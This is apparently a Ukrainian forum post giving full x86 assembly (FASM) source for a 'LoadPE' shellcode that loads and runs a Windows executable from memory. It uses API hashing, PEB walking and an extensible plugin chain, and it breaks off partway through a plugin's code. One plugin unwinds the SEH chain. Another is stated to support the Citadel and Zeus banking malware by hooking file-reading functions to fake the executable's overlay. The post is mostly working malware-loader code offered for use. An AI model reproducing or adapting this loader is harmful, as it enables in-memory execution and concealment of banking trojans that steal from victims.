1

Тема: [FASM x86] LoadPE шеллкод з системою розширень

Щей шеллкод призначений для старту виконуваного файлу з пам’яті процесу. підтримує TLS, не потребує релоків
Для його виконання потрібно створити наступну структуру даних:

+========================+
| _LOADPE структура      |
+========================+-----+
| LOADPE шеллкод         |     |
+========================+     |
|плагіни (необов’язково) |     } ланцюжок LoadPE 
+========================+     |
| кінцева мітка          |     |
+========================+-----+
|Завантажуваний PE файл  |
+========================+

Параметри передаються в шеллкод за допомогою патчингу. Структуру _LOADPE заповнює сам шеллкод.

Заголовковий файл loadpe.inc

macro szHash name, res {
  local ..size, ..result, ..char, ..temp
  ..temp = 0
  ..result = 0
  virtual at 0
    db name, 0x0
    ..size = $
    repeat ..size
      load ..char byte from % - 1
      ..temp = (..temp shr 7) or (..temp shl 25)
      ..result = ..result xor ..temp
      ..temp = (..temp and 0xffffff00) or ..char
    end repeat
  end virtual
  res = ..result and 0xffffffff
}

struct _3B1P_PLUGIN_HEADER
  signature   db '3B1P'
  wSize       dw ?
  pReturn     dd ?
  pLoadPEData dd ?
  pEntryPoint dw ?
  dwPluginID  dd ?
ends

struct _LOADPE_DATA
  pCompareHash          dd ?
  pCompareString        dd ?
  pAltGetProcAddress    dd ?
  pGetFileHeader        dd ?
  pLoadLibraryA         dd ? 
  pGetModuleHandleA     dd ?
  pVirtualProtect       dd ?
  pOriginalFile         dd ?
  hKernel32             dd ?
  hNtdll                dd ?
  dwOriginalFileSize    dd ?
  dwImageBase           dd ?
  dwShellcodeLen        dd ?
  dwDeepOfStack         dd ?
  dwReserved1           dd ?
  dwReserved2           dd ?  
ends

struct _LOADPE
  pluginData   db 0x1000 dup (?)
  pluginsQueue db 0x200 dup (?)
  loadpeData   _LOADPE_DATA
ends

macro __3BIP_PLUGIN_HEADER__ entryPoint, szPluginName {
  szHash szPluginName, hashPluginName
  _PLUGIN_HEADER_:
  _PLUGIN_BEGIN_ = _PLUGIN_HEADER_
  .signature    db '3B1P'
  .wSize        dw _PLUGIN_END_-_PLUGIN_BEGIN_
  .pReturn      dd ?
  .pLoadPEData  dd ?
  .pEntryPoint  dw entryPoint-_PLUGIN_BEGIN_
  .dwPluginID   dd hashPluginName
}

macro __3BIP_PLUGIN_TAIL__ name {
  _PLUGIN_END_:
  db name, 0x0
}

Головний файл шеллкоду loadpe.asm

use32
format binary

include '%FASMINC%\win32a.inc'
include 'pe.inc'
include 'loadpe.inc'

szHash 'KERNEL32', hashKERNEL32
szHash 'NTDLL', hashNTDLL

szHash 'LoadLibraryA', hashLoadLibraryA
szHash 'VirtualProtect', hashVirtualProtect
szHash 'GetModuleHandleA', hashGetModuleHandleA
szHash 'VirtualFree', hashVirtualFree

__LOADPE_BEGIN__:
__LOADPE_PLUGINS_RETURN__ = loadPE_main.__LOADPE_PLUGINS_RETURN__
start:

jmp loadPE_main
dwOriginalFileSize    dd 0xBEA51F3D ;
dwImageBase          dd 0x0
dwShellcodeLen          dd 0x0
dwDeepOfStack          dd 0x0
pOriginalTLSIndex     dd 0x0

proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD, SectionAlignment:DWord
    pusha 
    cld
    mov     edx, [pSectionHeader]
    mov     ecx, [edx+IMAGE_SECTION_HEADER.VirtualSize]
    mov     edi, [image_base]
    add     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
    mov     esi, [SectionAlignment]
    add     ecx, esi
    mov     eax, ecx
    xor     edx, edx
    div     esi
    sub     ecx, edx
    xor     eax, eax
    rep     stosb
    mov     edx, [pSectionHeader]
    mov     esi, [pFileImageBase]
    add     esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
    mov     ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
    mov     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
    add     edi, [image_base]
    rep     movsb
.exit:
    popa
    ret
endp

proc    GetHashSz strz
    push    ecx
    push    ebx
    push    DWord [strz]
    pop     ecx
    xor     ebx, ebx
    push    ebx
.CalcHash:
    ror     ebx, 7
    xor     [esp], ebx
    mov     bl, Byte [ecx]
    inc     ecx
    cmp     bl, 0x0
    jnz     .CalcHash
    pop     eax
    pop     ebx
    pop     ecx
    ret
endp

proc loadImportDirectoryTable pAPITable:DWORD, image_base:DWORD, directory_entry:DWORD

  local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD

    pushad
    mov     eax, [directory_entry]
    mov     eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
    add     eax, [image_base]
    ;load the corresponding dll
    mov     ebx, [pAPITable]
    stdcall DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax
    test    eax,eax
    jz        .exit_error
    mov     [.dll_image_base],eax
    mov     edx, [directory_entry]
    mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
    add     eax, [image_base]
    mov     [.import_address_table],eax
    mov     [.lookup_table],eax
    mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
    test    eax, eax
    jz        .OFTIsNull
    add     eax, [image_base]
    mov     [.lookup_table], eax
.OFTIsNull:
    xor     ecx, ecx
.next_lookup_entry:
    mov     eax, DWord [.lookup_table]
    add     eax, ecx
    mov     eax, DWord [eax]
    test    eax, eax
    jz        .exit_success
    test     eax, IMAGE_ORDINAL_FLAG32
    jnz     .byordinal
.byname:
    add     eax, [image_base]
    lea     eax, [eax+IMAGE_IMPORT_BY_NAME.Name_]
    push    ecx
    stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], [ebx+_LOADPE_DATA.pCompareString], eax
    pop     ecx
    test    eax, eax
    jz        .exit_error
    mov     edx, [.import_address_table]
    mov     [edx+ecx], eax
    add     ecx, 4
    jmp     .next_lookup_entry
.byordinal:
    and     eax, 0x7FFFFFFF
    push    ecx
    stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], 0x0, eax
    pop     ecx
    mov     edx, [.import_address_table]
    mov     [edx+ecx], eax
    add     ecx, 4
    jmp     .next_lookup_entry
.exit_success:
    popa
    xor eax,eax
    inc eax
    ret
.exit_error:
    popad
    xor eax, eax
    ret
endp

proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD

 local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD

    pusha
    xor     eax, eax
    mov     [.retval], eax
    mov     edx, [pImageFileHeader]
    movzx    eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
    mov     [.number_of_sections], eax
    add     edx, sizeof.IMAGE_FILE_HEADER
    mov     eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
    mov     [.image_base], eax
    lea     ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
    mov     eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
    mov     edx, sizeof.IMAGE_DATA_DIRECTORY
    mul     edx
    add     eax, ebx
    mov     [.section_headers], eax
    mov     eax, sizeof.IMAGE_SECTION_HEADER
    mov     edx, [.number_of_sections]
    mul     edx
    add     eax, [.section_headers]
    mov     ebx, [pFileImageBase]
    sub     eax, ebx
    mov     [.pe_header_size], eax
    mov     ebx, [APITable]
    lea     eax, [.vprotect_ret]
    stdcall    DWord [ebx+_LOADPE_DATA.pVirtualProtect], [.image_base], [.pe_header_size], PAGE_READONLY, eax
    test    eax, eax
    jz        .exit
    mov     ecx, [.number_of_sections]
    mov     ebx, [.section_headers]
.load_section_loop:
    stdcall    setSection, [APITable], ebx
    test    eax, eax
    jz        .exit
    add     ebx, sizeof.IMAGE_SECTION_HEADER
    loop    .load_section_loop
    inc     [.retval]
.exit:
    popa
    mov     eax, [.retval]
    ret
endp

proc    HashCompare szName, dwVal
  local   iResult:DWORD
    pusha
    xor     esi, esi
    mov     DWord [iResult], esi
    stdcall GetHashSz, [szName]
    cmp     DWord [dwVal], eax
    jz        .FoundProcname
    not     DWord [iResult]
.FoundProcname:
    popa
    push    DWord [iResult]
    pop     eax
    ret
endp

proc    loadImportTable pAPITable, image_base
  local   .import_table:DWORD
  local   iResult:DWORD
  local   .null_directory_entry[0x14]:BYTE
    pusha
    push    DWord [image_base]
    pop     edi
    push    DWord [edi + IMAGE_DOS_HEADER.e_lfanew]
    pop     edx
    lea     edx, [edx+edi + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
    mov     edx, DWord [edx+IMAGE_DATA_DIRECTORY.VirtualAddress]
    cmp     edx, 0
    jz      .exit
    add     edx, edi
    push    edx
    pop     DWord [.import_table]
    xor     eax, eax
    mov     ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
    lea     edi, [.null_directory_entry]
    rep     stosb
    push    DWord [.import_table]
    pop     ebx
.next_directory_entry:
    lea     esi, [.null_directory_entry]
    push    ebx
    pop     edi
    mov     ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
    rep     cmpsb
    je        .exit
    stdcall loadImportDirectoryTable, [pAPITable], [image_base], ebx
    add     ebx, 0x14
    jmp     .next_directory_entry
.exit:
    popa
    ret
endp
;        stdcall setSection, [APITable], ebx

proc    setSection pAPITable, pSectionHeader
  local   .vprotect_ret:DWORD
  local   .retval:DWORD
  local   .section_flags:DWORD
    pusha
    mov     DWord [.retval], DWORD 0x0
    push    DWord [pSectionHeader]
    pop     ecx
;section execute/read/write?
    mov     ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
    and     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
    cmp     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
    jne     .no_execute_read_write
    mov     DWord [.section_flags], PAGE_EXECUTE_READWRITE
    jmp     .set_memory
.no_execute_read_write:
    mov     ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
    and     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
    cmp     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
    jne     .no_execute_read
    mov     DWord [.section_flags], PAGE_EXECUTE_READ
    jmp     .set_memory
.no_execute_read:
    mov     ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
    and     ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
    cmp     ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
    jne    .no_read_write
    mov     DWord [.section_flags], PAGE_READWRITE
    jmp     .set_memory
.no_read_write:
    mov     edi, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
    and     edi, IMAGE_SCN_MEM_READ
    cmp     edi, IMAGE_SCN_MEM_READ
    jne     .no_read
    mov     DWord [.section_flags], PAGE_READONLY
    jmp     .set_memory
.no_read:
    mov     DWord [.section_flags], PAGE_NOACCESS
.set_memory:
    mov     eax, DWord [pSectionHeader]
    mov     edi, DWord [eax + IMAGE_SECTION_HEADER.VirtualAddress]
    mov     esi, DWord [pAPITable]
    add     edi, DWord [esi+_LOADPE_DATA.dwImageBase]
    lea     edx, [.vprotect_ret]
    mov     ecx, [eax + IMAGE_SECTION_HEADER.VirtualSize]
    stdcall DWord [esi + _LOADPE_DATA.pVirtualProtect], edi, ecx, [.section_flags], edx
    popa
    xor     eax, eax
    inc     eax
    ret
endp

proc  strToUpcase szString
    pusha
    mov     eax, [szString]
    xor     ebx, ebx
.up:
    movzx   edx, Byte [eax]
    test    edx, edx
    jz        .down
    cmp     edx, 0x61
    jb        .nextChar
    cmp     edx, 0x7A
    ja        .nextChar
    sub     edx, 0x20
    mov     Byte [eax], dl
.nextChar:
    inc     eax
    jmp     short .up
.down:
    popa   
    ret
endp

proc    AltGetProcAddress pAPITable, hLib, fCompareProc, dwVal

  local   dwOrdinal:DWORD
  local   iResult:DWORD
  local   pExportDirectory:DWORD
  local   pExportDirectoryBound:DWORD
  local   szFncName[0x20]:BYTE
  local   szLibName[0x20]:BYTE

    pusha
    push    0x0
    pop     DWord [iResult]
    mov     ecx, DWord [hLib]
    cmp     Word [ecx], WORD 0x5a4d
    jne     .End
    movzx   esi, Word [ecx+0x3c]
    add     esi, ecx
    cmp     DWord [esi], DWORD 0x4550 ;check <'PE',0,0>
    jne     .End
    mov     edx, DWord [esi+0x78]
    add     edx, ecx
    mov     DWord [pExportDirectory], edx
    mov     eax, edx
    add     eax, DWord [esi+0x7C]
    mov     DWord [pExportDirectoryBound], eax
    mov     ebx, DWord [edx+0x18]
    xor     esi, esi
    mov     eax, DWord [edx+0x20]
    add     eax, ecx
    cmp     DWord [fCompareProc], 0x0
    jnz     .MainLoop
    mov     esi, DWord [dwVal]
    sub     esi, [edx+0x10]
    mov     DWord [dwOrdinal], esi
    jmp     short .FoundOrdinal
.MainLoop:
    push    DWord [eax]
    pop     edi
    lea     edi, [ecx+edi]
    push    eax
    stdcall [fCompareProc], edi, [dwVal]
    test    eax, eax
    pop     eax
    jz        .FoundProcname
    add     eax, 0x4
    dec     ebx
    inc     esi
    or        ebx, ebx
    jnz     .MainLoop
    jmp     .End
.FoundProcname:
    mov     ebx, DWord [pExportDirectory]
    shl     esi, 1
    add     esi, DWord [ebx+0x24]
    movzx   esi, Word [esi+ecx]
    mov     DWord [dwOrdinal], esi
.FoundOrdinal:
    mov     ebx, DWord [pExportDirectory]
    mov     esi, DWord [dwOrdinal]
    shl     esi, 2
    add     esi, ecx
    add     esi, DWord [ebx+0x1C]
    mov     edi, DWord [esi]
    add     edi, ecx
    mov     DWord [iResult], edi
    cmp     edi, DWord [pExportDirectory]
    jb        .End
    cmp     edi, DWord [pExportDirectoryBound]
    jae     .End
    lea     esi, [szLibName]
.UpLibName:
    movzx   eax, Byte [edi]
    cmp     eax, '.'
    jz        .EndLibName
    mov     Byte [esi], al
    inc     esi
    inc     edi
    jmp     short .UpLibName
.EndLibName:
    mov     Byte [esi], 0x0
    lea     eax, [szLibName]
    stdcall strToUpcase, eax
    lea     eax, [szLibName]
    stdcall GetHashSz, eax
    mov     ebx, [pAPITable]
    cmp     eax, hashKERNEL32
    jz        .getKernel32
    cmp     eax, hashNTDLL
    jnz     .callGetModuleHandle
.getNtdll:
    mov     eax, DWord [ebx + _LOADPE_DATA.hNtdll]
    jmp     short .searchFncName    
.getKernel32:
    mov     eax, DWord [ebx + _LOADPE_DATA.hKernel32]
    jmp     short .searchFncName
.callGetModuleHandle:
    mov     DWord [esi], 0x4C4C442E
    mov     Byte [esi+0x4], 0x0
    lea     eax, [szLibName]
    stdcall DWord [ebx + _LOADPE_DATA.pGetModuleHandleA], eax
    cmp     eax, 0
    jnz     .searchFncName
    lea     eax, [szLibName]
    stdcall DWord [ebx + _LOADPE_DATA.pLoadLibraryA], eax
.searchFncName:
    mov     DWord [hLib], eax
    lea     esi, [szFncName] 
    inc     edi
.UpFncName:
    movzx   eax, Byte [edi]
    test    eax, eax
    jz        .EndFncName
    mov     Byte [esi], al
    inc     esi
    inc     edi
    jmp     short .UpFncName
.EndFncName:
    mov     Byte [esi], 0x0
    lea     esi, [szFncName] 
    cmp     Byte [esi], 0x23
    jz        .forwardingByOrdinal
    stdcall AltGetProcAddress, ebx, [hLib], [ebx + _LOADPE_DATA.pCompareString], esi
    jmp     .foundAddr
.forwardingByOrdinal:
    inc     esi
    stdcall strtonum, esi
    stdcall AltGetProcAddress, ebx, [hLib], 0x0, eax
.foundAddr:
    mov     DWord [iResult], eax
.End:
    popa    
    mov     eax, DWord [iResult]
    ret
endp

proc    verifyPE pImagePE
  local   iResult:DWORD
    pusha
    xor     edx, edx
    mov     edi, [pImagePE]
    movzx   ecx, Word [edi]
    cmp     ecx, 0x5a4d
    jnz     .Exit
    mov     eax, DWord [edi+IMAGE_DOS_HEADER.e_lfanew]
    add     edi, eax
    cmp     DWord [edi], 0x4550
    jne     .Exit
    add     edi, 0x4
    xchg    edi, edx
.Exit:
    mov     DWord [esp+0x1C], edx
    popa
    ret
endp

proc  loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
  local .retval:DWORD
  local .iSectNum:DWORD
  local .pImageOptionalHeader:DWORD
  local .dwOldProtect:DWORD
  local .pSectionHeaders:DWORD
  local .iPEHeaderSize:DWORD
  local .SizeOfImage:DWORD
  local .SectionAlignment:DWORD

    pusha
    xor     eax, eax
    mov     [.retval], eax
    mov     ebx, [pAPITable]
    mov     edx, [pImageFileHeader]
    movzx    eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
    mov     [.iSectNum], eax 
    lea     eax, [edx+sizeof.IMAGE_FILE_HEADER]
    mov     [.pImageOptionalHeader], eax
    push    DWord [eax + IMAGE_OPTIONAL_HEADER32.SectionAlignment]
    pop     DWord [.SectionAlignment]
    mov     eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
    mov     [.SizeOfImage], eax
    lea     eax, [.dwOldProtect]
    stdcall    DWord [ebx+_LOADPE_DATA.pVirtualProtect], DWord [ebx+_LOADPE_DATA.dwImageBase], [.SizeOfImage], PAGE_READWRITE, eax
    test    eax, eax
    jz        .Exit
    cld
    xor     eax, eax
    mov     edi, DWord [ebx+_LOADPE_DATA.dwImageBase]
    mov     ecx, [.SizeOfImage]
    cld
    rep     stosb
    mov     edx, [.pImageOptionalHeader] 
    mov     eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
    lea     ecx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
    mov     edx, sizeof.IMAGE_DATA_DIRECTORY
    mul     edx
    add     eax, ecx
    mov     [.pSectionHeaders], eax
    mov     eax, sizeof.IMAGE_SECTION_HEADER
    mov     edx, [.iSectNum]
    mul     edx
    mov     ecx, [pFileImageBase]
    add     eax, [.pSectionHeaders]
    sub     eax, ecx
    mov     [.iPEHeaderSize], eax
    mov     edi, DWord [ebx+_LOADPE_DATA.dwImageBase]
    mov     ecx, [.iPEHeaderSize]
    mov     esi, [pFileImageBase]
    rep     movsb
    mov     ecx, [.iSectNum]
    mov     esi, [.pSectionHeaders]
.load_section_loop:
    stdcall    loadSection, esi, DWord [ebx+_LOADPE_DATA.dwImageBase], [pFileImageBase], [.SectionAlignment]
    test    eax, eax
    jz        .Exit
    add     esi, sizeof.IMAGE_SECTION_HEADER
    dec     ecx
    jnz     .load_section_loop
    inc     [.retval]
.Exit:
    popa
    mov     eax, [.retval]
    ret
endp 

proc    StringCompare szName, dwVal
  local   iResult:DWORD
    pusha
    xor     edi, edi
    mov     DWord [iResult], edi
    push    DWord [szName]
    pop     edx
    push    DWord [dwVal]
    pop     ecx
.mainLoop:
    xor     ebx, ebx
    mov     bl, Byte [edx]
    movzx   eax, Byte [ecx]
    cmp     ebx, eax
    jnz     .Err
    test    ebx, ebx
    jz        .FoundProcname
    inc     ecx
    inc     edx
    jmp     .mainLoop
.Err:
    not     DWord [iResult]
.FoundProcname:
    popa
    mov     eax, DWord [iResult]
    ret
endp

proc    loadPE_main

  local   pMyAddr:DWORD
  local   pFileHeader:DWORD
  local   pPEImage:DWORD
  local   iResult:DWORD
  local   pOldTLSIndex:DWORD
  local   dwTLSIndexValue:DWORD
  local   pImageBase:DWORD

    pusha
    call    .delta
.delta:
    pop     edi
    sub     edi, .delta - __LOADPE_BEGIN__
    mov     DWord [pMyAddr], edi
    mov     eax, edi
    add     eax, DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__]
    mov     [pPEImage], eax
    lea     ebx, [edi-sizeof._LOADPE_DATA]
    push    DWord [edi+dwOriginalFileSize-__LOADPE_BEGIN__]
    pop     DWord [ebx+_LOADPE_DATA.dwOriginalFileSize]
    push    DWord [edi+dwImageBase-__LOADPE_BEGIN__]
    pop     DWord [ebx+_LOADPE_DATA.dwImageBase]
    push    DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__]
    pop     DWord [ebx+_LOADPE_DATA.dwShellcodeLen-__LOADPE_BEGIN__]
    push    DWord [edi+dwDeepOfStack-__LOADPE_BEGIN__]
    pop     DWord [ebx+_LOADPE_DATA.dwDeepOfStack-__LOADPE_BEGIN__]
    push    DWord [edi+pOriginalTLSIndex-__LOADPE_BEGIN__]
    pop     DWord [pOldTLSIndex]
    mov     eax, DWord [fs:0x30]
    mov     eax, DWord [eax+0xC]
    mov     eax, DWord [eax+0x1C]
    push    DWord [eax+0x8]
    pop     DWord [ebx+_LOADPE_DATA.hNtdll]
    push    DWord [pPEImage]
    pop     DWord [ebx+_LOADPE_DATA.pOriginalFile]
    lea     eax, [edi+StringCompare-__LOADPE_BEGIN__]
    mov     DWord [ebx+_LOADPE_DATA.pCompareString], eax
    lea     eax, [edi+HashCompare-__LOADPE_BEGIN__]
    mov     DWord [ebx+_LOADPE_DATA.pCompareHash], eax
    lea     eax, [edi+verifyPE-__LOADPE_BEGIN__]
    mov     DWord [ebx+_LOADPE_DATA.pGetFileHeader], eax
    call    GetK32
    mov     DWord [ebx+_LOADPE_DATA.hKernel32], eax
    lea     eax, [edi+AltGetProcAddress-__LOADPE_BEGIN__]
    mov     DWord [ebx+_LOADPE_DATA.pAltGetProcAddress], eax
    stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashLoadLibraryA
    mov     DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax
    stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashVirtualProtect
    mov     DWord [ebx+_LOADPE_DATA.pVirtualProtect], eax
    stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashGetModuleHandleA
    mov     DWord [ebx+_LOADPE_DATA.pGetModuleHandleA], eax
    lea     eax, [iResult]
    stdcall verifyPE, [pPEImage]
    test    eax, eax
    jz        .End
    push    eax
    pop     DWord [pFileHeader]
    stdcall loadFile, ebx, [pFileHeader], [pPEImage]
    test    eax, eax
    jz        .End
    stdcall loadImportTable, ebx, [ebx+_LOADPE_DATA.dwImageBase]
    stdcall setPermissions, ebx, [pFileHeader], [pPEImage]
    mov     eax, edi
    add     eax, __LOADPE_END__-__LOADPE_BEGIN__
    mov     ecx, edi
    sub     ecx, sizeof._LOADPE - _LOADPE.pluginsQueue
    mov     esi, [pFileHeader]
    mov     esi, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]
    add     esi, [ebx+_LOADPE_DATA.dwImageBase]
    stdcall FillPluginQueue, eax, ecx, ebx, esi
    pusha
    jmp     ecx
.__LOADPE_PLUGINS_RETURN__:
.End:
    popa
    mov     eax, DWord [iResult]
    ret
endp

proc    GetK32 
  local   iResult:DWORD
    pusha
    mov     eax, DWord [fs:0x30]
    mov     eax, DWord [eax+0xC]
    mov     eax, DWord [eax+0x1C]
.NextModule:
    push    DWord [eax+0x8]
    pop     DWord [iResult]
    push    DWord [eax+0x20]
    pop     ebx
    mov     eax, DWord [eax]
    movzx   ecx, Byte [ebx+0x18]
    cmp     ecx, 0x0
    jne     .NextModule
    movzx   ecx, Byte [ebx]
    cmp     ecx, 0x6b
    je        .Found_K32
    cmp     ecx, 0x4b
    jne     .NextModule
.Found_K32:
    popa
    push    DWord [iResult]
    pop     eax
    ret
endp

proc strtonum strz
    pusha
    mov     edi, [strz]
    stdcall strlen, edi
    test    eax, eax
    jz        .err
    xchg    ecx, eax
    lea     esi, [edi+ecx-0x1]
    xor     edi, edi
    mov     ebx, edi
.up:
    push    ebx
    test    ebx, ebx
    jz        .isZero
    mov     eax, 0xA
    jmp     .loopUp
.isZero:
    xor     eax, eax
    inc     eax
    jmp     short .endPower
.loopUp:
    dec     ebx
    jz        short .endPower
    mov     edx, 0xA
    mul     edx
    jmp     short .loopUp
.endPower:
    pop     ebx
    movzx   edx, Byte [esi]
    cmp     edx, 0x30
    jb        .err
    cmp     edx, 0x39
    ja        .err
    sub     edx, 0x30
    mul     edx
    add     edi, eax
    inc     ebx
    dec     esi
    dec     ecx
    jnz     .up
    xchg    eax, edi
    clc
    jmp     .exit
.err:
    xor     eax, eax
    stc
.exit:
    mov     DWord [esp+0x1C], edi
    popa
    ret
endp

proc strlen s
    pusha
    cld
    mov     esi, [s]
    xor     eax, eax
    mov     ecx, eax
.up:
    lodsb
    test    eax, eax
    je        short .down
    inc     ecx
    jmp     short .up
.down:
    mov     [esp+0x1C], ecx
    popa
    ret
endp

proc LoadTLSIndex pImageBase, pOldTLSIndex, pDwTLSIndexValue
    pusha
    mov      ebx, [pOldTLSIndex]   
    cmp      ebx, 0h
    jz       .e
    stdcall  verifyPE, [pImageBase]
    add      eax, sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY*0x9
    mov      eax, DWord [eax]
    add      eax, [pImageBase]
    mov      eax, DWord [eax+0x8]
    mov      eax, DWord [eax]
    mov      edx, [pDwTLSIndexValue]
    mov      DWord [edx], eax
.e:
    popa
    ret
endp

proc FillPluginQueue pFirstChain, pPluginQueueCmds, pLoadPEData, pReturn
     mov     edi, [pPluginQueueCmds]
     mov     esi, [pFirstChain]
     mov     edx, DWord [pLoadPEData]
.up:
     cmp     DWord [esi], 0x4B504134
     jnz     .checkPlugin
     cmp     Word [esi+0x4], 0x41
     jz      .end
.checkPlugin:
     cmp     DWord [esi], 0x50314233
     jnz     .end
     mov     Byte [edi], 0xBE
     mov     DWord [edi+0x1], esi
     mov     Byte [edi+0x5], 0xBF
     mov     DWord [esi+_3B1P_PLUGIN_HEADER.pLoadPEData], edx
     mov     DWord [edi+0x6], edx
     mov     Byte [edi+0xA], 0xB8
     movzx   ecx, Word [esi+_3B1P_PLUGIN_HEADER.pEntryPoint]
     mov     eax, ecx
     add     eax, esi
     mov     DWord [edi+0xB], eax
     mov     Word [edi+0xF], 0xE0FF
     add     edi, 0x11
     mov     DWord [esi+_3B1P_PLUGIN_HEADER.pReturn], edi
     movzx   ecx, Word [esi+_3B1P_PLUGIN_HEADER.wSize]
     add     esi, ecx
     jmp     .up
.end:
     mov     Byte [edi], 0x68
     push    [pReturn]
     pop     DWord [edi+0x1]
     mov     Byte [edi+0x5], 0xC3
     jmp     DWord [pPluginQueueCmds]
endp

__LOADPE_END__:

Плагін, який розкручує ланцюжок SEH з метою відновлення оригінального обробника виключень і повертає стек до початкового стану:

include '%FASMINC%\Win32a.inc'
include 'loadpe.inc'
szHash 'UnhandledExceptionFilter', hashUnhandledExceptionFilter

org 0x0
use32
__3BIP_PLUGIN_HEADER__ start, 'RESTORESEH'
pUnhandledExceptionFilter dd 0
start:
     stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashUnhandledExceptionFilter
     xor     edx, edx
     dec     edx
     mov     eax, DWord [fs:0]
.unchain:
     cmp     DWord [eax], edx
     jz      .down
     mov     eax, DWord [eax]
     jmp     short .unchain
.down:
     mov     DWord [fs:0], eax
     add     esp, DWord [edi+_LOADPE_DATA.dwDeepOfStack]
     jmp     DWord [esi+_3B1P_PLUGIN_HEADER.pReturn]
__3BIP_PLUGIN_TAIL__ 'RESTORESEH'

Плагін емуляції EOF (оверлея) PE файла для зловмисного ПЗ Сitadel і Zeus.

include '%FASMINC%\Win32a.inc'
include 'loadpe.inc'
include 'pe.inc'

szHash 'ReadFile', hashReadFile
szHash 'CreateFileW', hashCreateFileW
szHash 'GetFileSizeEx', hashGetFileSizeEx
szHash 'lstrcmpiW', hashlstrcmpiW
szHash 'SetLastError', hashSetLastError


org 0x0
use32

__3BIP_PLUGIN_HEADER__ start, 'CITADEL'

proc ReadFile_Hook hFile, lpBufer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped
     pusha
     call    .delta
.delta:
     pop     ebx
     sub     ebx, .delta-_PLUGIN_BEGIN_
     cmp     DWord [ebx+hFileExec], 0x0
     jz      .readOriginal
     mov     eax, DWord [ebx+hFileExec]
     cmp     eax, [hFile]
     jnz     .readOriginal
     mov     edi, DWord [lpBufer]
     mov     esi, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData]
     mov     ecx, [nNumberOfBytesToRead]
     mov     esi, [esi+_LOADPE_DATA.pOriginalFile]
     cld
     rep     movsb
     mov     eax, [lpNumberOfBytesRead]
     mov     edx, [nNumberOfBytesToRead]
     mov     DWord [eax], edx
     mov     eax, [ebx+_ReadFile]
     mov     edx, [ebx+pIAT_ReadFile]
     mov     DWord [edx], eax
     stdcall DWord [ebx+_SetLastError], 0x0
     xor     eax, eax
     inc     eax
     jmp     short .end
.readOriginal:
     stdcall DWord [esi+_ReadFile], [hFile], [lpBufer], [nNumberOfBytesToRead], [lpNumberOfBytesRead], [lpOverlapped]
.end:
     mov     DWord [esp+0x1C], eax
     popa
     ret
endp

proc CreateFileW_Hook lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile
     pusha
     call    .delta
.delta:
     pop     esi     
     sub     esi, .delta-_PLUGIN_BEGIN_
     stdcall DWord [esi+_CreateFileW], [lpFileName], [dwDesiredAccess], [dwShareMode], [lpSecurityAttributes], [dwCreationDisposition], [dwFlagsAndAttributes], [hTemplateFile]
     mov     DWord [esp+0x1C], eax
     stdcall DWord [esi+_lstrcmpiW], [lpFileName], [esi+pExecutableFileName]
     test    eax, eax
     jnz     .end
     push    DWord [esp+0x1C]
